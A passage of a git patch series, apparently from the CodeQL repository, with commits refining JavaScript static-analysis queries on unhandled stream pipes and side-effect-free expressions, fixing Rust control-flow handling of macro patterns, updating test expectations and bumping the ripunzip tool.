a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr.expected +++ b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr.expected @@ -0,0 +1 @@ +| gen_while_expr.rs:7:5:9:5 | while ... { ... } | hasLabel: | no | hasLoopBody: | yes | getNumberOfAttrs: | 0 | hasCondition: | yes | diff --git a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getCondition.expected b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getCondition.expected index e69de29bb2d..1b6f53eeea0 100644 --- a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getCondition.expected +++ b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getCondition.expected @@ -0,0 +1 @@ +| gen_while_expr.rs:7:5:9:5 | while ... { ... } | gen_while_expr.rs:7:11:7:16 | ... < ... | diff --git a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getLoopBody.expected b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getLoopBody.expected index e69de29bb2d..54fd5ed5152 100644 --- a/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getLoopBody.expected +++ b/rust/ql/test/extractor-tests/generated/WhileExpr/WhileExpr_getLoopBody.expected @@ -0,0 +1 @@ +| gen_while_expr.rs:7:5:9:5 | while ... { ... } | gen_while_expr.rs:7:18:9:5 | { ... } | From 298ef9ab129a8b90a0187716d03c5b38825227d6 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 11:01:41 +0200 Subject: [PATCH 109/271] Now able to track error handler registration via instance properties --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 7 +++++++ .../query-tests/Quality/UnhandledStreamPipe/test.expected | 1 - .../ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js | 2 +- 3 files changed, 8 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index d3a0af8786e..c88a3e62223 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -227,6 +227,13 @@ private predicate hasErrorHandlerRegistered(PipeCall pipeCall) { stream = base.getAPropertyRead(propName) and base.getAPropertyRead(propName).getAMethodCall(_) instanceof ErrorHandlerRegistration ) + or + exists(DataFlow::PropWrite propWrite, DataFlow::SourceNode instance | + propWrite.getRhs().getALocalSource() = stream and + instance = propWrite.getBase().getALocalSource() and + instance.getAPropertyRead(propWrite.getPropertyName()).getAMethodCall(_) instanceof + ErrorHandlerRegistration + ) ) ) or diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 99d6ed002d9..1b01574112d 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -16,5 +16,4 @@ | tst.js:44:5:44:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:52:5:52:37 | source. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:59:18:59:39 | stream. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| tst.js:73:5:73:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:111:5:111:26 | stream. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js index 3d962974fb8..46bf969255f 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js @@ -70,7 +70,7 @@ class StreamWrapper2 { function zip5() { const zipStream = createWriteStream(zipPath); let wrapper = new StreamWrapper2(); - wrapper.outputStream.pipe(zipStream); // $SPURIOUS:Alert + wrapper.outputStream.pipe(zipStream); zipStream.on('error', e); } From 9b2ef8be10be950ff270ea67c78208527cfe6a39 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 26 May 2025 11:36:11 +0200 Subject: [PATCH 110/271] JS: add test for DOM access where expression appears to have no side effects --- .../Expressions/ExprHasNoEffect/ExprHasNoEffect.expected | 8 ++++++++ .../test/query-tests/Expressions/ExprHasNoEffect/dom.js | 7 +++++++ 2 files changed, 15 insertions(+) create mode 100644 javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/dom.js diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected index 853e781c88e..29b6ec70be5 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected @@ -1,3 +1,11 @@ +| dom.js:2:5:2:30 | a.clien ... ientTop | This expression has no effect. | +| dom.js:2:5:2:50 | a.clien ... === !0 | This expression has no effect. | +| dom.js:2:33:2:50 | a.clientTop === !0 | This expression has no effect. | +| dom.js:3:5:3:20 | a && a.clientTop | This expression has no effect. | +| dom.js:4:5:4:28 | a.clien ... ientTop | This expression has no effect. | +| dom.js:5:18:5:43 | a.clien ... ientTop | This expression has no effect. | +| dom.js:6:18:6:63 | b && (b ... entTop) | This expression has no effect. | +| dom.js:6:23:6:63 | (b.clie ... entTop) | This expression has no effect. | | try.js:22:9:22:26 | x.ordinaryProperty | This expression has no effect. | | tst2.js:2:4:2:4 | 0 | This expression has no effect. | | tst.js:3:1:3:2 | 23 | This expression has no effect. | diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/dom.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/dom.js new file mode 100644 index 00000000000..076e277f652 --- /dev/null +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/dom.js @@ -0,0 +1,7 @@ +function f(){ + a.clientTop && a.clientTop, a.clientTop === !0; // $Alert + a && a.clientTop; // $SPURIOUS:Alert + a.clientTop, a.clientTop; // $SPURIOUS:Alert + if(a) return a.clientTop && a.clientTop, a.clientTop === !0 // $SPURIOUS:Alert + if(b) return b && (b.clientTop, b.clientTop && b.clientTop), null // $SPURIOUS:Alert +} From bca1bc7153d9bb8e44c6ebe0898144c518ee5ff1 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 26 May 2025 11:43:37 +0200 Subject: [PATCH 111/271] JS: Enhance `isDomProperty` to check for `getAPropertyRead` on DOM nodes --- javascript/ql/lib/Expressions/ExprHasNoEffect.qll | 15 +++++++++++++++ .../ExprHasNoEffect/ExprHasNoEffect.expected | 7 ------- .../Expressions/ExprHasNoEffect/dom.js | 10 +++++----- 3 files changed, 20 insertions(+), 12 deletions(-) diff --git a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll index eff5fa7fc98..611e1aa0c3e 100644 --- a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll +++ b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll @@ -129,6 +129,20 @@ predicate noSideEffects(Expr e) { ) } +/** + * Holds if `e` is a compound expression that may contain sub-expressions with side effects. + * We should not flag these directly as useless since we want to flag only the innermost + * expressions that actually have no effect. + */ +predicate isCompoundExpression(Expr e) { + e instanceof LogicalBinaryExpr + or + e instanceof SeqExpr + or + e instanceof ParExpr and + not e.stripParens() instanceof FunctionExpr +} + /** * Holds if the expression `e` should be reported as having no effect. */ @@ -145,6 +159,7 @@ predicate hasNoEffect(Expr e) { not isDeclaration(e) and // exclude DOM properties, which sometimes have magical auto-update properties not isDomProperty(e.(PropAccess).getPropertyName()) and + not isCompoundExpression(e) and // exclude xUnit.js annotations not e instanceof XUnitAnnotation and // exclude common patterns that are most likely intentional diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected index 29b6ec70be5..a3fd6e31641 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected @@ -1,11 +1,4 @@ -| dom.js:2:5:2:30 | a.clien ... ientTop | This expression has no effect. | -| dom.js:2:5:2:50 | a.clien ... === !0 | This expression has no effect. | | dom.js:2:33:2:50 | a.clientTop === !0 | This expression has no effect. | -| dom.js:3:5:3:20 | a && a.clientTop | This expression has no effect. | -| dom.js:4:5:4:28 | a.clien ... ientTop | This expression has no effect. | -| dom.js:5:18:5:43 | a.clien ... ientTop | This expression has no effect. | -| dom.js:6:18:6:63 | b && (b ... entTop) | This expression has no effect. | -| dom.js:6:23:6:63 | (b.clie ... entTop) | This expression has no effect. | | try.js:22:9:22:26 | x.ordinaryProperty | This expression has no effect. | | tst2.js:2:4:2:4 | 0 | This expression has no effect. | | tst.js:3:1:3:2 | 23 | This expression has no effect. | diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/dom.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/dom.js index 076e277f652..5d22e4a0bed 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/dom.js +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/dom.js @@ -1,7 +1,7 @@ function f(){ - a.clientTop && a.clientTop, a.clientTop === !0; // $Alert - a && a.clientTop; // $SPURIOUS:Alert - a.clientTop, a.clientTop; // $SPURIOUS:Alert - if(a) return a.clientTop && a.clientTop, a.clientTop === !0 // $SPURIOUS:Alert - if(b) return b && (b.clientTop, b.clientTop && b.clientTop), null // $SPURIOUS:Alert + a.clientTop && a.clientTop, a.clientTop === !0; //$Alert + a && a.clientTop; + a.clientTop, a.clientTop; + if(a) return a.clientTop && a.clientTop, a.clientTop === !0; + if(b) return b && (b.clientTop, b.clientTop && b.clientTop), null; } From 1f256ab71e6e1dcc9c0ed3812750d0d9c7bf0aa0 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 26 May 2025 13:00:09 +0200 Subject: [PATCH 112/271] Added change note --- .../ql/src/change-notes/2025-05-30-dom-property-access.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 javascript/ql/src/change-notes/2025-05-30-dom-property-access.md diff --git a/javascript/ql/src/change-notes/2025-05-30-dom-property-access.md b/javascript/ql/src/change-notes/2025-05-30-dom-property-access.md new file mode 100644 index 00000000000..2dcb16a8327 --- /dev/null +++ b/javascript/ql/src/change-notes/2025-05-30-dom-property-access.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The `js/useless-expression` query now correctly flags only the innermost expressions with no effect, avoiding duplicate alerts on compound expressions. From 5c21c01ad0da37b304ed2114d55b61ba886990ca Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Mon, 2 Jun 2025 15:42:43 +0200 Subject: [PATCH 113/271] Update rust/ql/src/queries/summary/Stats.qll --- rust/ql/src/queries/summary/Stats.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rust/ql/src/queries/summary/Stats.qll b/rust/ql/src/queries/summary/Stats.qll index 88411aa2db3..1feaf3ab48b 100644 --- a/rust/ql/src/queries/summary/Stats.qll +++ b/rust/ql/src/queries/summary/Stats.qll @@ -35,7 +35,7 @@ int getLinesOfCode() { result = sum(File f | f.fromSource() | f.getNumberOfLines * Gets a count of the total number of lines of code from the source code directory in the database. */ int getLinesOfUserCode() { - result = sum(File f | f.fromSource() and exists(f.getRelativePath()) | f.getNumberOfLinesOfCode()) + result = sum(ExtractedFile f | exists(f.getRelativePath()) | f.getNumberOfLinesOfCode()) } /** From ae0c547e89a8fc92ca2fd90aa8442dfd9a7ae03d Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Mon, 2 Jun 2025 15:36:05 +0200 Subject: [PATCH 114/271] Rust: fix CFG for MacroPat --- .../internal/ControlFlowGraphImpl.qll | 2 ++ .../controlflow/BasicBlocks.expected | 25 ++----------------- .../CONSISTENCY/CfgConsistency.expected | 7 ------ .../library-tests/controlflow/Cfg.expected | 2 -- 4 files changed, 4 insertions(+), 32 deletions(-) delete mode 100644 rust/ql/test/library-tests/controlflow/CONSISTENCY/CfgConsistency.expected diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll b/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll index 601e0c90e40..522eaf59fe6 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll @@ -143,6 +143,8 @@ class LetStmtTree extends PreOrderTree, LetStmt { } class MacroCallTree extends StandardPostOrderTree, MacroCall { + MacroCallTree() { not this.getParentNode() instanceof MacroPat } + override AstNode getChildNode(int i) { i = 0 and result = this.getMacroCallExpansion() } } diff --git a/rust/ql/test/library-tests/controlflow/BasicBlocks.expected b/rust/ql/test/library-tests/controlflow/BasicBlocks.expected index 2b87a4996b1..1b4b770c130 100644 --- a/rust/ql/test/library-tests/controlflow/BasicBlocks.expected +++ b/rust/ql/test/library-tests/controlflow/BasicBlocks.expected @@ -675,20 +675,11 @@ dominates | test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:13:455:25 | 2 | | test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | | test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:30:455:30 | 3 | -| test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:456:13:456:13 | _ | | test.rs:454:9:457:9 | match a { ... } | test.rs:454:9:457:9 | match a { ... } | | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | 2 | | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | -| test.rs:455:13:455:25 | 2 | test.rs:456:13:456:13 | _ | | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | -| test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:456:13:456:13 | _ | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:30:455:30 | 3 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:455:30:455:30 | 3 | test.rs:455:30:455:30 | 3 | -| test.rs:456:13:456:13 | _ | test.rs:456:13:456:13 | _ | | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:461:9:464:9 | match pair { ... } | | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:462:32:462:32 | _ | @@ -1356,16 +1347,9 @@ postDominance | test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | 2 | | test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | | test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:454:9:457:9 | match a { ... } | test.rs:455:30:455:30 | 3 | -| test.rs:454:9:457:9 | match a { ... } | test.rs:456:13:456:13 | _ | | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | 2 | | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:455:30:455:30 | 3 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:455:30:455:30 | 3 | test.rs:455:30:455:30 | 3 | -| test.rs:456:13:456:13 | _ | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | -| test.rs:456:13:456:13 | _ | test.rs:456:13:456:13 | _ | | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:461:9:464:9 | match pair { ... } | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:461:9:464:9 | match pair { ... } | test.rs:461:9:464:9 | match pair { ... } | @@ -1673,9 +1657,6 @@ immediateDominator | test.rs:455:13:455:25 | 2 | test.rs:453:5:458:5 | enter fn or_pattern_3 | | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:455:13:455:25 | 2 | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:453:5:458:5 | enter fn or_pattern_3 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:453:5:458:5 | enter fn or_pattern_3 | -| test.rs:455:30:455:30 | 3 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:456:13:456:13 | _ | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | | test.rs:461:9:464:9 | match pair { ... } | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:462:32:462:32 | _ | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:463:13:463:13 | _ | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | @@ -2204,12 +2185,10 @@ joinBlockPredecessor | test.rs:443:13:443:36 | ... \| ... | test.rs:443:26:443:36 | Some(...) | 1 | | test.rs:443:26:443:36 | Some(...) | test.rs:443:13:443:22 | Some(...) | 1 | | test.rs:443:26:443:36 | Some(...) | test.rs:443:18:443:21 | true | 0 | -| test.rs:454:9:457:9 | match a { ... } | test.rs:455:30:455:30 | 3 | 0 | -| test.rs:454:9:457:9 | match a { ... } | test.rs:456:13:456:13 | _ | 1 | +| test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | 0 | +| test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | 1 | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:453:5:458:5 | enter fn or_pattern_3 | 1 | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:13:455:25 | 2 | 0 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | 0 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | 1 | | test.rs:461:9:464:9 | match pair { ... } | test.rs:462:32:462:32 | _ | 0 | | test.rs:461:9:464:9 | match pair { ... } | test.rs:463:13:463:13 | _ | 1 | | test.rs:476:9:480:9 | match e { ... } | test.rs:477:32:477:32 | _ | 0 | diff --git a/rust/ql/test/library-tests/controlflow/CONSISTENCY/CfgConsistency.expected b/rust/ql/test/library-tests/controlflow/CONSISTENCY/CfgConsistency.expected deleted file mode 100644 index 495070e6de3..00000000000 --- a/rust/ql/test/library-tests/controlflow/CONSISTENCY/CfgConsistency.expected +++ /dev/null @@ -1,7 +0,0 @@ -deadEnd -| test.rs:455:13:455:25 | one_or_two!... | -multipleSuccessors -| test.rs:455:13:455:25 | [match(false)] 1 \| 2 | no-match | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:455:13:455:25 | [match(false)] 1 \| 2 | no-match | test.rs:456:13:456:13 | _ | -| test.rs:455:13:455:25 | [match(true)] 1 \| 2 | match | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:455:13:455:25 | [match(true)] 1 \| 2 | match | test.rs:455:30:455:30 | 3 | diff --git a/rust/ql/test/library-tests/controlflow/Cfg.expected b/rust/ql/test/library-tests/controlflow/Cfg.expected index b51f42537d1..44dd60e915a 100644 --- a/rust/ql/test/library-tests/controlflow/Cfg.expected +++ b/rust/ql/test/library-tests/controlflow/Cfg.expected @@ -1129,9 +1129,7 @@ edges | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | no-match | | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | match | | test.rs:455:13:455:25 | MacroPat | test.rs:455:13:455:25 | 1 | match | -| test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:455:13:455:25 | one_or_two!... | no-match | | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:456:13:456:13 | _ | no-match | -| test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:13:455:25 | one_or_two!... | match | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:30:455:30 | 3 | match | | test.rs:455:30:455:30 | 3 | test.rs:454:9:457:9 | match a { ... } | | | test.rs:456:13:456:13 | _ | test.rs:456:18:456:18 | 4 | match | From 3cbc4142f06f87c28fa93db0de2fd1f1604752d9 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 17:40:06 +0200 Subject: [PATCH 115/271] Update javascript/ql/src/Quality/UnhandledStreamPipe.ql Co-authored-by: Asger F --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index c88a3e62223..f2cdee85a21 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -242,7 +242,7 @@ private predicate hasErrorHandlerRegistered(PipeCall pipeCall) { /** * Holds if the pipe call uses `gulp-plumber`, which automatically handles stream errors. - * Gulp-plumber is a Node.js module that prevents pipe breaking caused by errors from gulp plugins. + * `gulp-plumber` returns a stream that uses monkey-patching to ensure all subsequent streams in the pipeline propagate their errors. */ private predicate hasPlumber(PipeCall pipeCall) { pipeCall.getDestinationStream().getALocalSource() = API::moduleImport("gulp-plumber").getACall() From 64f00fd0f2c8aa6dd4638240a9b04a62e95ee885 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 17:41:27 +0200 Subject: [PATCH 116/271] Update javascript/ql/src/Quality/UnhandledStreamPipe.ql Co-authored-by: Asger F --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index f2cdee85a21..863b62900b0 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -122,20 +122,18 @@ class ErrorHandlerRegistration extends DataFlow::MethodCallNode { } /** - * Models flow relationships between streams and related operations. - * Connects destination streams to their corresponding pipe call nodes. - * Connects streams to their chainable methods. + * Holds if the stream in `node1` will propagate to `node2`. */ -private predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) { +private predicate streamFlowStep(DataFlow::Node node1, DataFlow::Node node2) { exists(PipeCall pipe | - streamNode = pipe.getDestinationStream() and - relatedNode = pipe + node1 = pipe.getDestinationStream() and + node2 = pipe ) or exists(DataFlow::MethodCallNode chainable | chainable.getMethodName() = getChainableStreamMethodName() and - streamNode = chainable.getReceiver() and - relatedNode = chainable + node1 = chainable.getReceiver() and + node2 = chainable ) } From abd446ae77f22279383fd2ab92f44b2ca3967b8d Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 17:41:40 +0200 Subject: [PATCH 117/271] Update javascript/ql/src/Quality/UnhandledStreamPipe.ql Co-authored-by: Asger F --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 863b62900b0..d024a9c5fcd 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -1,7 +1,7 @@ /** * @id js/nodejs-stream-pipe-without-error-handling * @name Node.js stream pipe without error handling - * @description Calling `pipe()` on a stream without error handling may silently drop errors and prevent proper propagation. + * @description Calling `pipe()` on a stream without error handling will drop errors coming from the input stream * @kind problem * @problem.severity warning * @precision high From 7198372ae5325207af56e7e161923633f42ea86b Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 17:41:55 +0200 Subject: [PATCH 118/271] Update javascript/ql/src/Quality/UnhandledStreamPipe.qhelp Co-authored-by: Asger F --- javascript/ql/src/Quality/UnhandledStreamPipe.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp b/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp index 677bdbd4177..4d14734f540 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp @@ -11,7 +11,7 @@ In Node.js, calling the pipe() method on a stream without proper er

    -Instead of using pipe() with manual error handling, prefer using the pipeline function from the Node.js stream module. The pipeline function automatically handles errors and ensures proper cleanup of resources. This approach is more robust and eliminates the risk of forgetting to handle errors. +Instead of using pipe() with manual error handling, prefer using the pipeline function from the Node.js stream module. The pipeline function automatically handles errors and ensures proper cleanup of resources. This approach is more robust and eliminates the risk of forgetting to handle errors.

    If you must use pipe(), always attach an error handler to the source stream using methods like on('error', handler) to ensure that any errors during the streaming process are properly handled. From d43695c929701598bc78b19b17ba72fb78c1e2e7 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 17:42:40 +0200 Subject: [PATCH 119/271] Update javascript/ql/src/Quality/UnhandledStreamPipe.qhelp Co-authored-by: Asger F --- javascript/ql/src/Quality/UnhandledStreamPipe.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp b/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp index 4d14734f540..22c59188408 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp @@ -5,7 +5,7 @@

    -In Node.js, calling the pipe() method on a stream without proper error handling can lead to silent failures, where errors are dropped and not propagated downstream. This can result in unexpected behavior and make debugging difficult. It is crucial to ensure that error handling is implemented when using stream pipes to maintain the reliability of the application. +In Node.js, calling the pipe() method on a stream without proper error handling can lead to unexplained failures, where errors are dropped and not propagated downstream. This can result in unwanted behavior and make debugging difficult. To reliably handle all errors, every stream in the pipeline must have an error handler registered.

    From ae74edb0337f6604250bc8ed43eaf8dde8db3768 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 17:53:54 +0200 Subject: [PATCH 120/271] Update javascript/ql/src/Quality/UnhandledStreamPipe.ql Co-authored-by: Asger F --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index d024a9c5fcd..69280443a32 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -141,7 +141,7 @@ private predicate streamFlowStep(DataFlow::Node node1, DataFlow::Node node2) { * Tracks the result of a pipe call as it flows through the program. */ private DataFlow::SourceNode destinationStreamRef(DataFlow::TypeTracker t, PipeCall pipe) { - t.start() and result = pipe.getALocalSource() + t.start() and result = pipe or exists(DataFlow::SourceNode prev | prev = destinationStreamRef(t.continue(), pipe) and From ddbe29a8e26e82e7b71c63f248a8e5d162a65937 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Mon, 2 Jun 2025 17:40:43 +0200 Subject: [PATCH 121/271] Ripunzip: update to 2.0.2 --- MODULE.bazel | 20 ++++++++++---------- misc/ripunzip/BUILD.bazel | 2 +- misc/ripunzip/BUILD.ripunzip.bazel | 11 +++++++++++ misc/ripunzip/ripunzip-Linux.zip | 3 +++ misc/ripunzip/ripunzip-Windows.zip | 3 +++ misc/ripunzip/ripunzip-linux | 3 --- misc/ripunzip/ripunzip-macOS.zip | 3 +++ misc/ripunzip/ripunzip-macos | 3 --- misc/ripunzip/ripunzip-windows.exe | 3 --- 9 files changed, 31 insertions(+), 20 deletions(-) create mode 100644 misc/ripunzip/BUILD.ripunzip.bazel create mode 100644 misc/ripunzip/ripunzip-Linux.zip create mode 100644 misc/ripunzip/ripunzip-Windows.zip delete mode 100755 misc/ripunzip/ripunzip-linux create mode 100644 misc/ripunzip/ripunzip-macOS.zip delete mode 100755 misc/ripunzip/ripunzip-macos delete mode 100755 